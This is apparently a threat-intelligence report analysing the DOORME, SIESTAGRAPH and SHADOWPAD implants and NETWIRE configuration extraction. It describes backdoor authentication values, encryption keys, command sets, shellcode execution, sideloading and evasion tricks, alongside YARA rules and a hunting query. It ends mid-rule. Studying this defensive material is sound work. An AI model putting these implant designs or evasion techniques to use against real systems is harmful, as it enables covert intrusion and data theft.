DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We first discussed the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.

DOORME uses the RegisterModule function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the CGlobalModuleclass and its event handler, OnGlobalPreBeginRequest. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.

This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.

Obfuscation

String obfuscation

DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.

Anti-disassembly technique

The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.

Control flow obfuscation

The malware in question also employs a technique known as Control Flow Obfuscation (CFO) to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.

The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.

Dynamic import table resolution obfuscation

Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.

DOORME first resolves the address of LoadLibraryA and GetProcAddress Windows API by parsing the kernel32.dll module export table, then uses the GetProcAddress function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.

Execution flow

Authentication

The malicious IIS module backdoor operates by looking for the string " 79cfdd0e92b120faadd7eb253eb800d0" (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.

GET request handling

GET requests are used to perform a status check: the malware returns the string “ It works!” followed by the username and the hostname of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.

POST requests handling

The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.

Base64 implementation

The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is "VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7" , while the normal index table used by the Base64 algorithm is "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/". This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.

AES algorithm implementation

The malware uses AES (Advanced Encryption Standard) in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash " 79cfdd0e92b120faadd7eb253eb800d0", as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.

In our case the AES key is “ 5a430ab45c7e142c70018b99fe0d2da3” and the AES IV is “ 57ce15b304a97772”.

Command handling table

The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the "pipe" symbol( | ).

Command ID 0x42

The first command implemented has the ID 0x42 and generates a Globally Unique Identifier (GUID) by calling the API CoCreateGuid. Used to identify the infected machine, this helps to track infected machines and allows the attacker to focus on specific high-value environments.

Command ID 0x43

Another command, ID 0x43 , is particularly noteworthy as it allows the attacker to execute shellcode in the memory of the same process. This functionality is achieved by utilizing the Windows native functions NtAllocateVirtualMemory and NtCreateThreadEx.

The NtAllocateVirtualMemory function is used to allocate memory in the same process for shellcode, while the NtCreateThreadEx function creates an execution thread with shellcode in that newly-allocated memory.

Command ID 0x63

Command ID 0x63 allows the attacker to send a blob of shellcode in chunks, which the malware reassembles to execute. It works by sending this command ID with a shellcode chunk as a parameter. Implants can detect that the shellcode has been fully received when the server communicates a different shellcode size than expected. This approach allows the malware to handle large shellcode objects with minimal validation.

Command ID 0x44

Command ID 0x44 provides a means of interacting with the shellcode being executed on the infected system. The attacker can send input to the shellcode and retrieve its output via a named pipe. This allows the attacker to control the execution of the shellcode and receive feedback, which may help to capture the output of tools deployed in the environment via the DOORME implant.

DOORME Summary

In summary, DOORME provides a dangerous capability allowing attackers to gain unauthorized access to the internal network of victims through an internet-facing IIS web server. It includes multiple obfuscation techniques to evade detection, as well as the ability to execute additional malware and tools. Malware authors are increasingly leveraging IIS as covert backdoors that hide deep within the system. To protect against these threats, it is important to continuously monitor IIS servers for any suspicious activity, processes spawned from the IIS worker process ( w3wp.exe ), and the creation of new executables.

SIESTAGRAPH code analysis

Introduction to the SIESTAGRAPH implant

The implant utilizes the Microsoft Graph API to access Microsoft 365 Mail and OneDrive for its C2 communication. It uses a predetermined tenant identifier and a refresh token to obtain access tokens. The implant uses the legitimate OneDriveAPI library which simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. The implant leverages sleep timers in multiple locations as a defense evasion technique. This led to the implant’s name: SIESTAGRAPH.

Execution flow

SIESTAGRAPH starts and enters its main function which will set up the needed parameters to access Microsoft GraphAPI by requesting an access token based on a hard coded refresh token.

![Initial setup of SIESTAGRAPH](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

During the setup phase the malware uses the Microsoft Office GUID ( d3590ed6-52b3-4102-aeff-aad2292ab01c ). This is needed to supply access to both Microsoft 365 Mail and OneDrive.

Authentication

The SIESTAGRAPH author utilized a pre-determined tenant identifier and a refresh token to obtain access tokens. Both of these elements are essential in making a request for an access token. It is important to note that access tokens possess a limited lifespan, however, the refresh token can be utilized to request new access tokens as necessary.

To facilitate this process, the attacker utilized a third-party and legitimate library named OneDriveAPI. This library simplifies the process of interacting with the Microsoft API and allows for efficient management of access and refresh tokens. It should be noted that although third-party libraries such as OneDriveAPI can provide a convenient way to interact with APIs, they should not be considered to be malicious.

The malware utilizes the GetAccessTokenFromRefreshToken method to request an authentication token. This token is then used in all subsequent API requests.

Refresh tokens have a 90-day expiration window. So while the access token was being used by the Graph API for C2, the refresh token, which is needed to generate new access tokens, was not used within the expiration window. The refresh token was generated on 2022-11-01T03:03:44.3138133Z and expired on 2023-01-30T03:03:44.3138133Z. This means that a new refresh token will be needed before a new access token can be generated. As the refresh token is hard coded into the malware, we can expect SIESTAGRAPH to be updated with a new refresh token if it is intended to be used in the future.

Command and control

A session token ( sessionToken ) is created by concatenating the process ID, machine name, username, and operating system. The session token is later used to retrieve commands intended for this specific implant.

After obtaining authentication and session tokens, the malware collects system information and exfiltrates it using a method called sendSession.

Inspecting the sendSession method we see that it creates an email message and saves it as a draft. Using draft messages is common C2 tradecraft as a way to avoid email interception and inspection.

After sending the session information to the attacker, the implant enters a loop in which it will check for new commands. By default, this beaconing interval is every 5 seconds, however, this can be adjusted by the attacker at any time.

When receiving a command, the implant will use the getMessages method to check for any draft emails with commands from the attacker.

With every call that contacts the Graph API, SIESTAGRAPH will receive the current authentication token ( authToken ). This token is then used in the HTTP request header following the Authorization: Bearer ( “Authorization”, “Bearer “ + authToken ).

Every call to this method will contain the sessionToken , a command, and command arguments, separated with colons ( : ) ( :: ).

If a command has multiple arguments they will be split by a pipe ( | ). An example of this is the rename command where the source and destination names are split by a pipe.

We have identified the following commands:

| Command text | Description | | -------------- | ----------------------------------------------------------------------------- | | C | Run a command | | N | Update the amount of time the binary will sleep between check-ins | | D | Upload a file to OneDrive | | U | Download Item from Onedrive | | UU | Check to see is Core.bin exists then Download item from Onedrive | | ListDrives | Send a list of the logical drives | | GetDirectories | Send a list of given subdirectories | | GetFiles | Send a list of files in a given directory | | Del | Delete a given file | | Rename | Rename a given file or directory | | P | Get a list of running processes | | E | Ends the execution of the binary | | K | Kill a given process ID | | S | Update the amount of time the binary will sleep between check-ins (same as N) | | NET | Get network information | | SS | Take a screenshot |

Several commands are self-explanatory ( ListDrives , Rename , etc.), however the run commands, update sleep timer, upload and download files, and take screenshots are more interesting and can provide a better understanding of the capabilities of SIESTAGRAPH.

C - run command

When the C command is received the malware runs the runCommand method. This method takes in the name of cmd.exe , the command line to run, and the number of milliseconds to wait for the new process to exit.

If the command parameter is not null or empty, the method proceeds to create a new instance of the System.Diagnostics.Process class, which is used to start and interact with a new process. It sets the properties of the process instance's StartInfo property, which is of the ProcessStartInfo class, such as the FileName property to the cmd parameter passed to the method, the Arguments property to /c concatenated with the command parameter, and also sets UseShellExecute , RedirectStandardInput , RedirectStandardOutput , RedirectStandardError, and CreateNoWindow property. As this method is only called with the hard coded value of cmd for the cmd parameter, the resulting command will always be cmd /c . This is a common way to run commands if one does not have direct access to an interactive shell.

![The runCommand method](/assets/images/update-to-the-REF2924-intrusion-set-and-related-campaigns/image26.jpg

N - Sleep timer update

The sleep command is a single instruction. If the argument for the command is larger than 1000, the value for the SleepTimer variable is updated. This variable is later used to determine how long the process will sleep in between check-ins.

D - Upload to OneDrive

The D command is issued from the attacker’s perspective, so while they’re “downloading” from OneDrive, the host is “uploading” to OneDrive

The method receives a filePath , and the authentication and session tokens. It will then upload the requested file to OneDrive. If the file is successfully uploaded, a response message is sent to the attacker using the format OK|C:\foo\file.txt.

If the upload did not succeed the attacker will receive the error message OK|.

While this method might seem simple it helps to avoid detection by using common libraries while achieving the goal of exfiltrating data from the victim. While unconfirmed, this could be how the exported Exchange mailboxes were collected by the threat actor.

U - Download from OneDrive

The download function is similar to the upload function. Again, from the attacker's perspective, the U command stands for upload. As the file is downloaded from OneDrive by the implant, but uploaded by the attacker.

NET - Gather network information

The NET command will gather network information and send it back to the attacker. In order to gather the information the binary first resolves two functions from the DLLs, Ws2_32.dll (the Windows socket API) and iphlpapi.dll (the Windows IP helper API).

The NET command gathers information about open TCP connections from the system's TCP table. It then loops over all open connections and stores the information in an array that is sent back to the attacker. This code helps the attacker to get a better insight into the system's purpose within the network. As an example, if there are open connections for ports 587, 993, and 995, the host could be a Microsoft Exchange server.

SS - Take screenshot

To see the victim's desktop, SIESTAGRAPH can call the method named TakeScreenShot which takes a screenshot of the primary monitor and returns the screenshot as a Base64 encoded string.

This function creates a new Bitmap object with the width and height of the primary screen's bounds. Then it creates a new Graphics object from the Bitmap object and uses the CopyFromScreen function to take a screenshot and copy it to the Graphics object.

It then creates a new MemoryStream object and uses the Save method of the Bitmap object to save the screenshot as a PNG image into the memory stream. The image in the memory stream is then converted to a Base64 encoded string using the Convert.ToBase64String method. The resulting Base64 string is then sent back to the attacker by saving it as an email draft.

SIESTAGRAPH Summary

SIESTAGRAPH is a purpose-built and full-featured implant that acts as a proxy for the threat actor. What makes SIESTAGRAPH more than a generic implant is that it uses legitimate and common, but adversary-controlled, infrastructure to deliver remote capabilities on the infected host.

SHADOWPAD loader code analysis

Introduction to log.dll

When Elastic Security Labs disclosed REF2924 in December of 2022, we observed an unknown DLL. We have since collected and analyzed the DLL, concluding it is a loader for the SHADOWPAD malware family.

The DLL, log.dll , was observed on two Domain Controllers and was being side-loaded by an 11-year-old version of the Bitdefender Crash Handler (compiled name: BDReinit.exe ), named 13802 AR.exe (in our example). Once executed, SHADOWPAD copies itself to **C:\ProgramData\OfficeDriver** as *svchost.exe* before installing itself as a service. Once log.dll is loaded, it will spawn Microsoft Windows Media Player ( wmplayer.exe ) and **dllhost.exe,** injecting into them which triggers a memory shellcode detection for Elastic Defend.

At runtime, log.dll looks for the log.dll.dat file which contains the shellcode to be executed. Then log.dll will encrypt and store the shellcode in the registry and shred the original log.dll.dat file. If the file doesn’t exist it will skip this part.

Then the sample will load the shellcode from the registry, RWX map it, and execute it from memory. If the registry key doesn’t exist the sample will crash.

Execution flow

Our version of the SHADOWPAD DLL expects to be sideloaded by an 11-year-old and vulnerable version of the BitDefender BDReinit.exe binary. The offset to the trampoline (jump instructions) in the vulnerable application is hard coded which means that the sample is tailored for this exact version of BitDefender’s binary ( 386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd ). This side-loading behavior was previously reported by Positive Technologies.

For our analysis, we patched log.dll to execute without the BitDefender sideloading requirement.

Capabilities

Obfuscation

The log.dll uses two lure functions to bypass automatic analysis.

We define lure functions as benign and not related to malware capabilities, but intended to evade defenses, obfuscate the true capabilities of the malware, and frustrate analysis. They may trick time-constrained sandbox analysis by showcasing benign behavior while exhausting the analysis interval of the sandbox.

log.dll incorporates a code-scattering obfuscation technique to frustrate static analysis, however, this doesn't protect the binary from dynamic analysis.

This technique involves fragmenting the code into gadgets and distributing those gadgets throughout the binary. Each gadget is implemented as a single instruction followed by a call to a “resolver” function.

The resolver function of each call resolves the address of the next gadget and passes execution.

The obfuscation pattern is simple and a trace can be used to recover the original instructions:

**result = []
for i, x in enumerate(trace):
 if "ret" in x:
 result.append(trace[i + 1])**

API loading

The sample uses the common Ldr crawling technique to find the address of kernel32.dll.

Next, log.dll parses the exports of kernel32.dll to get the address of the LoadLibraryA and GetProcAddress functions. It uses GetProcAddress to resolve imports as needed.

Persistence

The sample expects to find a file called log.dll.dat in its root directory using the FindFirstFile and FindNextFile APIs. Once log.dll.dat is located, it is loaded, encrypted, and stored in the registry under the HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\} registry value.

This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.

Once the contents of log.dll.dat have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.

Shellcode

To execute the shellcode the sample will allocate an RWX-protected memory region using the VirtualAlloc Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.

Other SHADOWPAD research

While researching shared code and techniques, Elastic Security Labs identified a publication from SecureWorks’ CTU that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, log.dll.dat , which is consistent with our observations. The team at Positive Technologies ETC also published detailed research on SHADOWPAD which aligns with our research.

SHADOWPAD Summary

SHADOWPAD is a malware family that SecureWorks CTU has associated with the BRONZE UNIVERSITY threat group and Positive Technologies ETC has associated with the Winnti group.

Campaign and adversary modeling

Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.

We identified significant overlaps in the work of Positive Technologies ETC and SecureWorks CTU while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.

In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.

Winnti - reported by Positive Technologies, January 2021
Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022
REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022
Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022

Winnti

In January of 2021, the team at Positive Technologies ETC published research that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names log.dll and log.dll.dat and using the same sample of BitDefender we observed as a DLL injection vehicle.

While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.

Undisclosed REF, Winnti

In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the Winnti Group. We continue to track this intrusion set, independently of and in relation to REF2924 observations.

REF2924, ChamelGang, Winnti

In early December 2022, we observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).

In researching the events of REF2924, we believe they are consistent with details noted by Positive Technologies' research into ChamelGang, and likely represent the actions of one group with shared goals.

Undisclosed REF, ChamelGang

Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.

Campaign associations

Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.

We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.

To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.

We’ll discuss notable (non-exhaustive) overlaps in the following section.

Campaigns 1 and 3

Campaigns 1 (Winnti) and 3 (REF2924, ChamelGang, Winnti) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( log.dll and log.dll.dat ), and the injection technique using the same BitDefender hash.

Campaigns 3 and 4

Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.

Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).

While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.

Summary

DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.

SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.

Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.

SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.

The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.

Detections

Hunting queries

Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.

The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.

dns.question.name : "graph.microsoft.com" and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : "Microsoft Windows" or process.code_signature.subject_name : "Microsoft Windows Publisher" or process.code_signature.subject_name : "Microsoft Corporation")) and process.name : *

Signatures

YARA rules

The DOORME IIS module

rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        license = "Elastic License v2"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

The SIESTAGRAPH implant

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "windows"
        arch_context = "x86"
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = "Windows.Trojan.SiestaGraph"
        license = "Elastic License v2"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}

The SHADOWPAD malware family

rule Windows_Trojan_ShadowPad_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-23"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD obfuscation loader+payload"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShadowPad"
        threat_name = "Windows.Trojan.ShadowPad"
        license = "Elastic License v2"
    strings:
        $a1 = { 87 0? 24 0F 8? }
        $a2 = { 9C 0F 8? }
        $a3 = { 03 0? 0F 8? }
        $a4 = { 9D 0F 8? }
        $a5 = { 87 0? 24 0F 8? }
    condition:
        all of them
}
rule Windows_Trojan_Shadowpad_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-31"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD loader"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Shadowpad"
        threat_name = "Windows.Trojan.Shadowpad"
        license = "Elastic License v2"
    strings:
        $a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
    condition:
        all of them
}
rule Windows_Trojan_Shadowpad_3 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-01-31"
        last_modified = "2023-01-31"
        description = "Target SHADOWPAD payload"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Shadowpad"
        threat_name = "Windows.Trojan.Shadowpad"
        license = "Elastic License v2"
    strings:
        $a1 = "hH#whH#w" fullword
        $a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv


References

https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.secureworks.com/research/shadowpad-malware-analysis
https://www.secureworks.com/research/threat-profiles/bronze-university
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

Indicators
Artifacts are available from the previously published REF2924 research.



NETWIRE Dynamic Configuration Extraction
Seth Goodwin,Salim Bitam — Mon, 30 Jan 2023 00:00:00 GMT
Key takeaways

NETWIRE has shown an increase in prevalence over the last year
Elastic Security Labs created an extractor to pull out configuration data from NETWIRE files and memory dumps targeting the functions the malware uses to extract its encrypted data
The NETWIRE extractor is freely available for download


  To download the NETWIRE configuration extractor, check out our post on the tool:
  
  NETWIRE configuration extractor
  

Preamble
NETWIRE is a Remote Access Tool (RAT) that has been used since at least 2014. It is a publicly available commodity malware and has been observed being used by financially motivated and nation-state actors.

In the second half of 2022, we noticed an uptick in the prevalence of NETWIRE usage in our telemetry data. This prompted the Elastic Security Labs team to develop a configuration extractor to assist the security community in collecting atomic indicators within the configurations. Using this extractor will support threat tracking and improve detection, prevention, and response times.
Extractor
The NETWIRE RAT uses the RC4 symmetric encryption algorithm to protect its configuration which is encrypted in the .data section along with the 16 bytes long RC4 decryption key.
While reversing our samples the analysts noticed that for both the crypto::rc4_init_sbox and crypto::rc4_decrypt functions the second argument (#2 in the image below) is always a memory address for the desired encrypted configuration value, and the third argument (#3) is an immediate value written to the memory stack before the call which represents the size of the encrypted string.
It was also noted that the function calls are one after the other. This is important to allow us to structure the extractor to look for these functions sequentially.

With $key (from the above image) in mind, we created YARA rules to identify the location of the key and encrypted configuration values.
![YARA rule section that identifies the key and encrypted configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg
With this information we can then use Capstone to:

Locate the function responsible for decrypting the configuration using YARA.
Disassemble the function using Capstone.
Extract the RC4 key address and the encrypted configuration field addresses.
Extract the size of the configuration field.
RC4 decrypt the encrypted fields and rebuild the configuration.


![RC4 decrypting the configuration](/assets/images/netwire-dynamic-configuration-extraction/image5.jpg
Once we have recreated the configuration, we can use the extractor to pull out several parameters used by NETWIRE, as well as a few basic file characteristics:

Active Setup Key : Active Setup registry key to achieve persistence.
C2 IP list : List of command and control (C2) server domains or IP addresses.
Host ID : A unique identifier that is assigned to the infected machine.
Installation path : The location where the malware will be installed.
Keylogger logs directory : The location where the keylogging log file will be stored.
Mutex : Mutex name, to create a synchronization object to ensure only one instance of the sample is running on the machine.
Password : Static password to generate AES key used for encrypting the communication between the malware and the C2 server.
Run registry key entry : Name of the entry in the run registry, used for persistence.
Sleep in seconds : The amount of time the malware sleeps.


The configuration extractor accepts four parameters:

-f : to specify a single NETWIRE sample
-d : To specify a directory of NETWIRE samples
-o : To write the configuration in JSON format to the specified file
--all-config : To print the unparsed raw decrypted configuration

Analysis
We’ve used this extractor to examine a set of samples from the previous 180 days to extract indicators for further enrichment and analysis.
Our initially collected batch of samples came as a mixture of executable files and memory dumps. The extractor will only work on unmapped files, so the dumps which were already mapped were run through pe_unmapper.
When extracting a payload from memory, we are obtaining a memory-mapped version of it. This means that the "Raw Address" and "Raw Size" may not be correctly aligned with the correct section’s data. To correctly align the PE file, it is necessary to adjust the pointer to the raw address so that it matches the virtual address for every section.
Now we can run the configuration extractor with Poetry against our directory of unmapped binaries:
**poetry lock**
**poetry install**
**poetry shell**
**netwire-config-extractor -d sample-dir/ -o output.ndjson**

This file, output.ndjson , can then be uploaded to Kibana for further analysis.

  Check out the Elastic Container project to quick spin up an Elastic Stack and start analyzing structured security-relevant data.


Next time you run into a NETWIRE sample, run it through our configuration extractor to pull out other indicators to help you on your analytic journey or begin remediating quicker.
Detection
YARA
These YARA rules can used to detect and identify NETWIRE RAT.
rule Windows_Trojan_Netwire_1 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_2 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a1 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
       $a2 = "\\Login Data"
       $a3 = "SOFTWARE\\NetWire" fullword
   condition:
       2 of them
}
rule Windows_Trojan_Netwire_3 {
   meta:
